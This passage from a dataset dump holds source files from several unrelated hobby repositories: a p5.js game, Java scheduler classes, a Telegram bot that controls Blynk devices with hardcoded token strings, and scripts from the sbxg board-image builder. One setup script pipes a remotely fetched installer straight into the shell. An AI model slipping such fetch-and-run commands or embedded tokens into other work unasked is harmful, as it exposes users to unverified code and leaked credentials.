(tomatoX-28)<=(this.x+(this.xSize*this.noise*61/331/2)) && (tomatoHeight+23)>this.y-(this.ySize*this.noise*81/332/2)){\n\t\t\tthis.collide = true;\t//set collide to true\n\t\t\tgameMode = 2;\t//game over \n\t\t}\n\t}\n}\n\n//Function gameOver - the game over screen\nfunction gameOver(){\n\timage(endscreen, 0, 0); //show endscreen image\n\tfill(255);\t//set color to white\n\ttextSize(70);\t//set text size to 70\n\twords = \"\"+score;\n\ttext(words, (width-textWidth(words))/2-10, height/2 + 58);\t//show the final score \n\n\tif(!music.isPlaying()){\n\t\tmusic.play();\n\t}\n\n\timage(potatoImgs[currentFrame%potatoImgs.length], 650, 100);\n\t\n\t//highlight buttons if mouseover\n\tif(mouseX>=360.5 && mouseX<=483.5 && mouseY>=391 && mouseY<=408){\n\t\tnoStroke();\t//no stroke\n\t\tfill(250, 80);\t//set color to white with opacity 80\n\t\trect(360, 391, 160, 30, 20); //draw rect\n\t}\n\telse if(mouseX>=538.4 && mouseX<=590.5 && mouseY>=391 && mouseY<=408){\n\t\tfill(250, 80);\t//set color to white with opacity 80\n\t\trect(538, 391, 130, 30, 20); //draw rect\n\t}\n}\n\n//Function pauseScreen() - pause the screen\nfunction pauseScreen(){\n\timageMode(CORNER);\t\t\t//image mode is from top left\n\timage(pausescreen, 0, 0);\t//show pause screen image\n\n\tmusic.stop();\n\n\t//highlight buttons if mouseover\n\tif(mouseX>=416 && mouseX<=536 && mouseY>=258 && mouseY<=285){\n\t\tnoStroke();\t//no stroke\n\t\tfill(250, 80);\t//set color to white with opacity 80\n\t\trect(416, 258, 160, 40, 20);\t//draw rect\n\t}\n\telse if(mouseX>=437 && mouseX<=509.5 && mouseY>=336 && mouseY<=358){\n\t\tfill(250, 80);\t//set color to white with opacity 80\n\t\trect(437, 336, 160, 40, 20);\t//draw rect\n\t}\n}\n\n//Function windowResized() - resize the cavnas \nfunction windowResized(){\t//ensures the canvas remains centered\n\tvar x = (windowWidth - width) / 2;\n\tvar y = (windowHeight - height) / 2;\n\tcanvas.position(x, y);\n}\n\n//Function mouseClicked() - check if mouse has been clicked once \nfunction mouseClicked(){\n\n\tconsole.log(mouseX);\n\tif(paused){\t//if game is paused \n\t\t//if click resume, resume game\n\t\tif(mouseX>=416 && mouseX<=536 && mouseY>=258 && mouseY<=285){\n\t\t\tgameMode = 1;\t//set gameMode to 1\n\t\t\tpaused = false;\t//set paused to false\n\t\t}\n\n\t\t//if click quit button, go to home page\n\t\telse if(mouseX>=437 && mouseX<=509.5 && mouseY>=336 && mouseY<=358){\n\t\t\tgameMode = 0;\t//set gameMode to 0\n\t\t\tpaused = false;\t//set paused to false \n\t\t}\n\t}\n\n\t//if click start button, start game\n\telse if(gameMode===0){\n\t\tif(mouseX>=432 && mouseX<=587 && mouseY>=370 && mouseY<=443){\n\t\t\tinitializeGame();\t//call initializeGame which resets all variables\n\t\t\tgameMode = 1;\t//set gameMode to 1\n\t\t}\n\t}\n\n\telse if(gameMode===2){\t//if game over screen \n\t\t//if click play again button, start new game\n\t\tif(mouseX>=360.5 && mouseX<=483.5 && mouseY>=391 && mouseY<=408){\n\t\t\tinitializeGame();\t//call initializeGame which resets all variables\n\t\t\tgameMode = 1;\t\t//set gameMode to 1 \n\t\t}\n\n\t\t//if click home button, go to start screen\n\t\telse if(mouseX>=533.4 && mouseX<=585.5 && mouseY>=391 && mouseY<=408){\n\t\t\tinitializeGame();\t//call initializeGame which resets all variables\n\t\t\tgameMode = 0;\t\t//set gameMode to 0\n\t\t}\n\t}\n}\n\n//Function keyPressed() - check if key has been pressed once \nfunction keyPressed(){\n\t//if spacebar pressed, pause game if player is playing game \n\tif(keyCode == 32 && gameMode==1){\n\t\tpaused = true;\t//pause is set to true\n\t}\n}"
},
{
"alpha_fraction": 0.6602254509925842,
"alphanum_fraction": 0.6892109513282776,
"avg_line_length": 19.633333206176758,
"blob_id": "3edb0c6f56e4ccf00b26a5268fe8d28382fccefe",
"content_id": "fb2e9682dc2a82fc703efadc44cbebd3307d4e16",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 621,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 30,
"path": "/OSLab3/Activity.java",
"repo_name": "BrandonSu/BrandonSu.github.io",
"src_encoding": "UTF-8",
"text": "\n\npublic class Activity {\n\tString type;\n\tint process;\n\tint delay;\n\tint resourceType;\n\tint resourceAmount;\n\t\n\tpublic Activity(String type){\n\t\tthis.type=type;\n\t\tthis.process = -10;\n\t\tthis.delay = -10;\n\t\tthis.resourceType = -10;\n\t\tthis.resourceAmount = -10;\n\t}\n\tpublic Activity(){\n\t\tthis.type=null;\n\t\tthis.process = -10;\n\t\tthis.delay = -10;\n\t\tthis.resourceType = -10;\n\t\tthis.resourceAmount = -10;\n\t}\n\tpublic Activity(String type, int delay, int resourceType, int resourceAmount){\n\t\tthis.type=type;\n\t\tthis.process = -10;\n\t\tthis.delay = delay;\n\t\tthis.resourceType = resourceType;\n\t\tthis.resourceAmount = resourceAmount;\n\t}\n\n}\n"
},
{
"alpha_fraction": 0.6337931156158447,
"alphanum_fraction": 0.6572414040565491,
"avg_line_length": 22.387096405029297,
"blob_id": "f54ee7a462c1d108e501e8a51434459f5b53f08d",
"content_id": "ea9471627e64b1e5102e8b1b21cca6d272581339",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1450,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 62,
"path": "/OSLab2/Proc.java",
"repo_name": "BrandonSu/BrandonSu.github.io",
"src_encoding": "UTF-8",
"text": "package scheduler;\n\npublic class Proc {\n\tint start; //A\n\tint cpuBurstBase; //B\n\tint cpuTotal; //C\n\tint ioBurstBase; //M\n\tint cpuBurstRand; //the one after randomOS\n\tint ioBurstRand; //also after randomOS\n\tString status;\n\tint index;\n\tint quantum;\n\tboolean newready;\n\t\n\tpublic Proc(int A, int B, int C, int M, int rand, int rand2){ // same with this but well leave it here\n\t\tthis.start = A;\n\t\tthis.cpuBurstBase = B;\n\t\tthis.cpuTotal = C;\n\t\tthis.ioBurstBase = M;\n\t\tthis.status = this.status;\n\t\tthis.index = this.index;\n\t\tthis.cpuBurstRand = rand;\n\t\tthis.ioBurstRand = rand2;\n\t\tthis.newready = false;\n\t}\n\tpublic Proc(){ //initialize as -10 to easily detect errors\n\t\tthis.start = -10;\n\t\tthis.cpuBurstBase = -10;\n\t\tthis.cpuTotal = -10;\n\t\tthis.ioBurstBase = -10;\n\t\tthis.status = \"unstarted\";\n\t\tthis.cpuBurstRand = -10;\n\t\tthis.ioBurstRand = -10;\n\t\tthis.index = -10;\n\t\tthis.quantum =-10;\n\t\tthis.newready = false;\n\t}\n\tpublic Proc(String x){ //not sure if this is ever used lol\n\t\tthis.start = -10; \n\t\tthis.cpuBurstBase = -10;\n\t\tthis.cpuTotal = -10;\n\t\tthis.ioBurstBase = -10;\n\t\tthis.status = x;\n\t\tthis.cpuBurstRand = -10;\n\t\tthis.ioBurstRand = -10;\n\t\tthis.index = -10;\n\t\tthis.newready = false;\n\t}\n\t/*public Proc(int A, int B, int M){\n\t\tthis.start = A;\n\t\tthis.cpuBurst = B;\n\t\tthis.cpuTotal = this.cpuTotal;\n\t\tthis.ioBurst = M;\n\t}\n\tpublic Proc(int A, int C, int M){\n\t\tthis.start = A;\n\t\tthis.cpuBurst = this.cpuBurst;\n\t\tthis.cpuTotal = C;\n\t\tthis.ioBurst = M;\n\t}*/\n\n}\n"
},
{
"alpha_fraction": 0.40015846490859985,
"alphanum_fraction": 0.5071315169334412,
"avg_line_length": 14.390243530273438,
"blob_id": "bc1ec2053b1ec2c4a3b12d621d8afe9f8342f0ce",
"content_id": "2ac76038fe34988e73f28a4aebfc1905363f92f1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 1262,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 82,
"path": "/IntroToWebDesign/assignment6/sketch.js",
"repo_name": "BrandonSu/BrandonSu.github.io",
"src_encoding": "UTF-8",
"text": "var cnv; \nfunction setup() {\n\tcnv= createCanvas(500, 500);\n centerCanvas();\n\trectMode(CENTER);\n \n\tr = 0;\n\tg = 255;\n\tb = 255;\n\tr2 = 0;\n\tg2 = 100;\n\tb2 = 255;\n\tcounter = 0;\n}\nfunction windowResized() {\n centerCanvas();\n}\n\nfunction centerCanvas(){\n var x = (windowWidth - width) /2;\n var y = (windowHeight - height/1.3)/2;\n cnv.position(x,y);\n}\n\nfunction draw(){\n\tbackground(240);\n textSize(20); \n \n // set a fill color\n fill(r, g, r2);\n textFont(\"Comic Sans MS\");\n // write some text \n text(\"wow\", 232, 250);\n fill(255);\n\ttranslate(width/2, height/2);\n\tfor (var i = 0; i < 8; i++) {\n\t\tpush();\n\t\trotate(TWO_PI * i / 8);\n\t\tvar tx = 190 * sin(0.01*frameCount);\n\t\tstroke(r,g,b);\n\t\ttranslate(tx, 0);\n\t\trect(0, 0, 20, 20);\n\t\tfor (var j = 0; j < 6; j++) {\n\t\t\tpush();\n\t\t\trotate(TWO_PI * j / 6);\n\t\t\tvar rx = 50 * cos(0.02*frameCount + 10);\n\t\t\tstroke(r2,g2,b2);\n\t\t\trect(rx, 0, 8, 8);\n\t\t\tpop();\n\t\t}\t\t\n\t\ttranslate()\n\t\tpop();\n\t}\n}\n\nfunction mousePressed() {\n counter+=1;\n if (counter%3 === 0){\n r = 100;\n \tg = 100;\n \tb = 255;\n \tr2 = 100;\n \tg2 = 0;\n \tb2 = 255;\n }\n else if (counter%3 === 1){\n \tr = 255;\n \tg = 100;\n \tb = 0;\n \tr2 = 100;\n \tg2 = 255;\n \tb2 = 0;\n }\n else {\n \tr = 0;\n \tg = 255;\n \tb = 255;\n \tr2 = 0;\n \tg2 = 100;\n \tb2 = 255;\n }\n}\n"
},
{
"alpha_fraction": 0.7961165308952332,
"alphanum_fraction": 0.7961165308952332,
"avg_line_length": 33.33333206176758,
"blob_id": "d32318ab1e45e8f70994710050b8af797310b932",
"content_id": "8e51ed9e5ed3e424b7705a340d11e79977637890",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 103,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 3,
"path": "/Projects/Assteroids/README.md",
"repo_name": "BrandonSu/BrandonSu.github.io",
"src_encoding": "UTF-8",
"text": "Assteroid\n\nA fun and simple game! Click the assteroids before they hit an edge of your browser window!\n"
},
{
"alpha_fraction": 0.533707857131958,
"alphanum_fraction": 0.550561785697937,
"avg_line_length": 6.458333492279053,
"blob_id": "19d963a16fa758010fbd91fe57838bccc0708173",
"content_id": "49507405f6c503e9f72e7f7553d67e5083011674",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 178,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 24,
"path": "/python.py",
"repo_name": "BrandonSu/BrandonSu.github.io",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3\n\nprint(\"content-type: text/html\\n\")\n\nprint(\"\"\"\n\n<!DOCTYPE html>\n<html>\n\t<head>\n\n\t</head>\n\n\t<body> \n\t\t<h1>Python stuff </h1>\n\t</body>\n</html>\n\n\n\n\n\n\n\n\"\"\"\t)"
}
] | 10 |
Ogabek1510/telegram-blynk-bot | https://github.com/Ogabek1510/telegram-blynk-bot | b2f6d568d2e027a78081ff9c31e19761fe260b20 | bb6950cec0c64a5972a9c4c2958f2b6427891d18 | 1e47b64f768a28a96f81f0ad23a0ebae275a4544 | refs/heads/master | 2021-12-10T15:08:54.413415 | 2016-08-29T19:54:58 | 2016-08-29T19:54:58 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7248157262802124,
"alphanum_fraction": 0.7315725088119507,
"avg_line_length": 49.84375,
"blob_id": "3a9cf4d492f1df261fefcbda652ba68a64a742ea",
"content_id": "ee849122a91adcd1fe724eebc339d390ae4f301c",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1628,
"license_type": "permissive",
"max_line_length": 183,
"num_lines": 32,
"path": "/README.md",
"repo_name": "Ogabek1510/telegram-blynk-bot",
"src_encoding": "UTF-8",
"text": "Python + telegram bot + blynk = love)\n\nI like Blynk and also I like telegram. I wrote a telegram bot in python which helps me managing my IoT projects at home. You can managing different progects in one menu. Watch a demo:\n\n [](https://www.youtube.com/watch?v=zdYiJ7SiDgo \"telegram bot and blynk\")\n\n### Python\n - Install libs:\n```bash\npip install python-telegram-bot\npip install blynkapi\n```\n - Copy template python code from [GitHub](https://github.com/xandr2/telegram-blynk-bot/blob/master/blynkbot.py)\n\n### Create telegram bot\n - First of all you need [install telegram](https://telegram.org/) to your device\n - Talk to [BotFather](@botfather) for [creating your own bot](https://core.telegram.org/bots)\n - Copy your bot id to python program `blynkbot.py` as var `tokenid`\n\n### Blynk\n - Create project [link](http://docs.blynk.cc/#getting-started)\n - Add hardware [link](http://docs.blynk.cc/#getting-started-getting-started-with-hardware-how-to-use-an-example-sketch)\n - Get [auth token](http://docs.blynk.cc/#getting-started-getting-started-with-hardware-auth-token) and copy it to python program `blynkbot.py` as var `my_project`\n - Create or modify objects in `blynkbot.py` (k_amp_power, k_amp_src, k_light)\n - Run your bot `./blynkbot.py`\n\n### Details\n - [python-telegram-bot](https://github.com/python-telegram-bot/python-telegram-bot)\n - [blynkapi](https://github.com/xandr2/blynkapi)\n\n### Issue\n - Can't talk to bot via Google voice. [issue](http://android.stackexchange.com/questions/155928/send-message-to-telegram-bot-via-google-now-voice-command)\n\n"
},
{
"alpha_fraction": 0.6949325799942017,
"alphanum_fraction": 0.7010748982429504,
"avg_line_length": 29.061538696289062,
"blob_id": "3079935685c0418dcaba291bcbcf67fe07f44427",
"content_id": "16753f80b2b5088095e86c51835ce930effdd865",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5861,
"license_type": "permissive",
"max_line_length": 137,
"num_lines": 195,
"path": "/blynkbot.py",
"repo_name": "Ogabek1510/telegram-blynk-bot",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#\n# Telegram bot and Blynk for easy managing your IoT\n# based on telegram-bot-api and blynkapi libs\n#\n\nimport telegram\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters, InlineQueryHandler, CallbackQueryHandler\nfrom blynkapi import Blynk\nimport logging\n\n# Vars \n# your telegram bot token id\ntokenid = '251sdbrmvorfiojoeirjgoejfwcwlclrlGxAqQUpnc'\n\n# Blynk projects id\nmy_project = \"fe4ab7fe7aawfd3qffervw45t2sdferrf34e\"\nmy_project2 = \"sbvhcaci34hwch8qghdhp8csdnci0jvhd39s\"\n\n# create a blynk objects with you want to work\nk_amp_power = Blynk(my_project, pin = \"V3\")\nk_light = Blynk(my_project, pin = \"V4\")\nk_amp_src = Blynk(my_project2, pin = \"V2\")\n\n# begin of program\nlogging.basicConfig(\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\ndef start(bot, update):\n\t\"\"\"Base menu with all available commands\"\"\"\n\tbot.sendMessage(chat_id=update.message.chat_id, text=\"\"\"\n\t\tI'm a bot, please talk to me!\n\t\tYou can:\n\n\t\t/amplifier\tturn On/Off amp on kitchen\n\t\t/light \t\tturn On/Off light on kitchen\n\t\t/source\t\tkitchen amp source 3,5/Bluetooth \"\"\")\n\ndef stat_conv(res):\n\t\"\"\"Conver value from 1-0 to on-off\"\"\"\n\tif res[0] == \"0\":\n\t\treturn \"off\"\n\telif res[0] == \"1\":\n\t\treturn \"on\"\n\telse:\n\t\treturn \"unknown\" \n\ndef answers(bot, update, objectx, desc, action):\n\t\"\"\"Function for generating \"\"\"\n\tif action == \"on\":\n\t\tres = objectx.on()\n\t\tnext_state = \"off\"\n\telif action == \"off\":\n\t\tres = objectx.off()\n\t\tnext_state = \"on\"\n\telse:\n\t\treturn \"Err\"\n\tbot.answerCallbackQuery(\n\t\tcallback_query_id=update.callback_query.id, \n\t\ttext=\"Turning \"+str(action)+\" \"+str(desc)+\"! \" + res)\n\tbot.editMessageText(\n\t\tchat_id=update.callback_query.message.chat.id, \n\t\tmessage_id=update.callback_query.message.message_id, \n\t\ttext=\"The \"+str(desc)+\" is \"+str(stat_conv(objectx.get_val()))+\". Do you want to turn it \"+ next_state)\n\tbot.editMessageReplyMarkup(\n\t\tchat_id=update.callback_query.message.chat.id, \n\t\tmessage_id=update.callback_query.message.message_id, \n\t\treply_markup=telegram.InlineKeyboardMarkup([[telegram.InlineKeyboardButton(next_state, callback_data=\"k_\"+str(desc)+\"_\"+next_state)]]))\n\ndef inl(bot, update):\n\t\"\"\"Inline answers handler\"\"\"\n\tif update.callback_query.data == \"k_amp_on\":\n\t\tanswers(bot, update, k_amp_power, \"amp\", \"on\")\n\n\telif update.callback_query.data == \"k_amp_off\":\n\t\tanswers(bot, update, k_amp_power, \"amp\", \"off\")\n\t\n\telif update.callback_query.data == \"k_light_on\":\n\t\tanswers(bot, update, k_light, \"light\", \"on\")\n\n\telif update.callback_query.data == \"k_light_off\":\n\t\tanswers(bot, update, k_light, \"light\", \"off\")\n\n\telif update.callback_query.data == \"k_src_off\":\n\t\tanswers(bot, update, k_amp_src, \"src\", \"off\")\n\t\t# bt = off\n\telif update.callback_query.data == \"k_src_on\":\n\t\tanswers(bot, update, k_amp_src, \"src\", \"on\")\n\t\t# 3,5 = on\n\telse:\n\t\tbot.answerCallbackQuery(callback_query_id=update.callback_query.id, text=\"Else\")\n\ndef echo(bot, update):\n\t\"\"\"Function for simply echo all text from chat\"\"\"\n\tbot.sendMessage(chat_id=update.message.chat_id, text=update.message.text)\n\tstart(bot, update)\n\ndef k_amp_h(bot, update):\n\t# Print main menu\n\tstart(bot, update)\n\t# create a inline buttons\n\treply_markup = telegram.InlineKeyboardMarkup(\n\t\t[[telegram.InlineKeyboardButton(\n\t\t\t\"On\", \n\t\t\tcallback_data=\"k_amp_on\"), \n\t\ttelegram.InlineKeyboardButton(\n\t\t\t\"Off\", \n\t\t\tcallback_data=\"k_amp_off\")]])\n\t# create and sent message with inline buttons\n\tbot.sendMessage(\n\t\tchat_id=update.message.chat_id, \n\t\ttext=\"Do you want to turn On or Off amplifier? \" + str(stat_conv(k_amp_power.get_val())), \n\t\treply_markup=reply_markup)\n\ndef k_light_h(bot, update):\n\tstart(bot, update)\n\treply_markup = telegram.InlineKeyboardMarkup(\n\t\t[[telegram.InlineKeyboardButton(\n\t\t\t\"On\", \n\t\t\tcallback_data=\"k_light_on\"), \n\t\ttelegram.InlineKeyboardButton(\n\t\t\t\"Off\", \n\t\t\tcallback_data=\"k_light_off\")]])\n\tbot.sendMessage(\n\t\tchat_id=update.message.chat_id, \n\t\ttext=\"Do you want to turn On or Off light? \" + str(stat_conv(k_light.get_val())), \n\t\treply_markup=reply_markup)\n\ndef k_src_h(bot, update):\n\tstart(bot, update)\n\treply_markup = telegram.InlineKeyboardMarkup(\n\t\t[[telegram.InlineKeyboardButton(\n\t\t\t\"3,5 jack\", \n\t\t\tcallback_data=\"k_src_on\"), \n\t\ttelegram.InlineKeyboardButton(\n\t\t\t\"Bluetooth\", \n\t\t\tcallback_data=\"k_src_off\")]])\n\tbot.sendMessage(\n\t\tchat_id=update.message.chat_id, \n\t\ttext=\"Set input for amplifier 3,5 or bluetooth? \" + str(stat_conv(k_amp_src.get_val())), \n\t\treply_markup=reply_markup)\n\ndef unknown(bot, update):\n\t\"\"\"Catch unknown commands\"\"\"\n\tstart(bot, update)\n\tbot.sendMessage(chat_id=update.message.chat_id, text=\"Sorry, command not found!\")\t\n\ndef error(bot, update, error):\n\t\"\"\"Errors handler\"\"\"\n logging.warning('Update \"%s\" caused error \"%s\"' % (update, error))\n\n\nif __name__ == \"__main__\":\n\t# Start bot\n\tupdater = Updater(token=tokenid)\n\t# Handler groups\n\tdispatcher = updater.dispatcher\n\n\t# Define commands\n\t# start\n\tstart_handler = CommandHandler('start', start)\n\tdispatcher.add_handler(start_handler)\n\t# Kitchen amp\n\tk_amp_handler = CommandHandler('amplifier', k_amp_h)\n\tdispatcher.add_handler(k_amp_handler)\n\t# Kitchen light\n\tk_light_handler = CommandHandler('light', k_light_h)\n\tdispatcher.add_handler(k_light_handler)\n\t# Kitchen amp source\n\tk_src_handler = CommandHandler('source', k_src_h)\n\tdispatcher.add_handler(k_src_handler)\n\n\t# Handle all inline button answers\n\tinl_handler = CallbackQueryHandler(inl)\n\tdispatcher.add_handler(inl_handler)\t\n\t\n\t# echo\n\techo_handler = MessageHandler([Filters.text], echo)\n\tdispatcher.add_handler(echo_handler)\n\t\n\t# catch unknown commands\n\tunknown_handler = MessageHandler([Filters.command], unknown)\n\tdispatcher.add_handler(unknown_handler)\n\t\n\t# catch errors\n\tupdater.dispatcher.add_error_handler(error)\n\n\t# start bot\n\tupdater.start_polling()\n\t\n\t# Run the bot until the user presses Ctrl-C or the process receives SIGINT,\n\t# SIGTERM or SIGABRT\n\tupdater.idle()"
}
] | 2 |
AdityaGaitonde99/IBMTest1 | https://github.com/AdityaGaitonde99/IBMTest1 | 30101c2f10f8f61f1e2fd0943e9609950e061746 | 17b1d5d9140fe58cb806822d02bf8edc381cb452 | d35c2653b1644234c9eda2546abd912602e0598e | refs/heads/main | 2022-12-25T02:50:22.180049 | 2020-10-10T04:15:08 | 2020-10-10T04:15:08 | 302,807,557 | 0 | 0 | null | 2020-10-10T03:35:32 | 2020-10-10T04:03:32 | 2020-10-10T04:15:08 | Python | [
{
"alpha_fraction": 0.7307692170143127,
"alphanum_fraction": 0.7692307829856873,
"avg_line_length": 12,
"blob_id": "2d7b637091ca10b87db36b301eb47a085c974150",
"content_id": "725434b1fe6b6b733d9394b31a120cfece8a889c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 26,
"license_type": "no_license",
"max_line_length": 14,
"num_lines": 2,
"path": "/README.md",
"repo_name": "AdityaGaitonde99/IBMTest1",
"src_encoding": "UTF-8",
"text": "# IBMTest1\nMark Down file\n"
},
{
"alpha_fraction": 0.6530612111091614,
"alphanum_fraction": 0.6530612111091614,
"avg_line_length": 47,
"blob_id": "0e8ed58ab56412e5c257755bc6be14ca123779de",
"content_id": "ab33064b0948f0877cc74c58493f110db9c0b688",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 49,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 1,
"path": "/HelloWorld.py",
"repo_name": "AdityaGaitonde99/IBMTest1",
"src_encoding": "UTF-8",
"text": "print('Hello!',\"is it me you are looking for.\")\r\n"
}
] | 2 |
sbxg/sbxg | https://github.com/sbxg/sbxg | f6d527686c6b3756cd049e78ce2ee129e7bdf675 | fe11aaa8ed985e1cc144b89150b3637fb6455ed8 | 6a7715261aa47bcbd589397bb29791a9d54e2f69 | refs/heads/master | 2021-01-19T02:54:55.940577 | 2018-04-24T21:06:29 | 2018-04-24T21:06:29 | 51,952,457 | 3 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6842549443244934,
"alphanum_fraction": 0.68636554479599,
"avg_line_length": 40.561405181884766,
"blob_id": "49e755d33b7291b766c93bce2e744e75cc35521d",
"content_id": "7b9fb890a7da5ce42773a5509c9f792ff557fc3b",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2369,
"license_type": "permissive",
"max_line_length": 79,
"num_lines": 57,
"path": "/sbxg/subcomponent.py",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport os\nimport subprocess\n\nclass Subcomponent(object):\n def __init__(self, templater, program='subcomponent'):\n self._templater = templater\n self._program = program\n self._text = \"\"\n\n def add_components(self, components_names):\n for component_name in components_names:\n self.add_component(component_name)\n\n def add_component(self, component_name):\n filename = component_name + \".j2\"\n self._text += '\\n' + self._templater.template_file(filename)\n\n def call(self, in_directory, **kwargs):\n\n # Create the directory structure if it does not already exist\n path_dir = os.path.join(in_directory, 'subcomponent')\n if not os.path.exists(path_dir):\n os.makedirs(path_dir)\n\n # Generate the main subcomponent file by aggregating all different\n # configurations together.\n path = os.path.join(path_dir, 'components.sub')\n with open(path, 'w') as stream:\n stream.write(\"subcomponents {\")\n stream.write(self._text)\n stream.write(\"}\\n\")\n\n # Subcomponent!\n cmd = [self._program, \"-C\", in_directory, \"fetch\"]\n if kwargs.get('no_download') is True:\n cmd.append(\"--dry-run\")\n subprocess.check_call(cmd)\n"
},
{
"alpha_fraction": 0.6415094137191772,
"alphanum_fraction": 0.6477987170219421,
"avg_line_length": 14.387096405029297,
"blob_id": "62daa6bddda5a1c756c2bd71fca8f33baf6c285a",
"content_id": "b8baeab4d293039da6ef41df5dd45b56bc4f378b",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 477,
"license_type": "permissive",
"max_line_length": 51,
"num_lines": 31,
"path": "/utils/install_debian_packages.sh",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "#! /usr/bin/env sh\n\nset -e\nset -u\n\nTHIS_DIR=\"$(dirname \"$0\")\"\n\nset -x\n\n# Installing the Debian packages\nsudo apt install \\\n build-essential \\\n git \\\n make \\\n curl \\\n autoconf \\\n autotools-dev \\\n swig \\\n python-dev \\\n libconfuse-dev \\\n mtools \\\n python3-pip\n\n# Installing the python packages\npip3 install --user -r \"$THIS_DIR/requirements.txt\"\n\n# Installing rust (not packaged)\ncurl https://sh.rustup.rs -sSf | sh\n\n# Cargo setup\n\"$THIS_DIR\"/cargo_setup.sh\n"
},
{
"alpha_fraction": 0.6666666865348816,
"alphanum_fraction": 0.6761765480041504,
"avg_line_length": 36.62385177612305,
"blob_id": "7fb63c489664bcb48f261b620174fcc05ae2b3e6",
"content_id": "cadf169dec497cf513017829733cee550d42dec4",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4101,
"license_type": "permissive",
"max_line_length": 79,
"num_lines": 109,
"path": "/tests/test_boostrap.py",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport os\nimport pytest\nimport subprocess\nimport sys\nimport tempfile\n\nTOP_SRC_DIR = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))\n\ndef test_bootstrap_in_source_dir(env):\n \"\"\"\n Running the bootstrap script from the source directory should fail.\n \"\"\"\n with pytest.raises(subprocess.CalledProcessError):\n subprocess.check_call([\n sys.executable, \"bootstrap.py\",\n \"--board\", \"cubietruck\", \"--toolchain\", \"local\"\n ], cwd=TOP_SRC_DIR)\n\ndef test_no_toolchain_for_board(env):\n \"\"\"\n Running the bootstrap script from the source directory should fail,\n \"\"\"\n with pytest.raises(subprocess.CalledProcessError):\n subprocess.check_call([\n sys.executable, \"bootstrap.py\",\n \"--board\", \"cubietruck\", \"--toolchain\", \"local\"\n ], cwd=TOP_SRC_DIR)\n\n\[email protected](\"variant\", [None, \"xen\", \"board\"])\[email protected](\"toolchain\", [\"armv7-eabihf\"])\ndef test_quick_cubietruck_bootstrap(env, variant, toolchain):\n \"\"\"\n This test runs a bootstrap for the different cubietruck variants.\n It uses the available toolchains. Nothing is downloaded.\n \"\"\"\n cmd = [\n sys.executable,\n os.path.join(TOP_SRC_DIR, \"bootstrap.py\"),\n 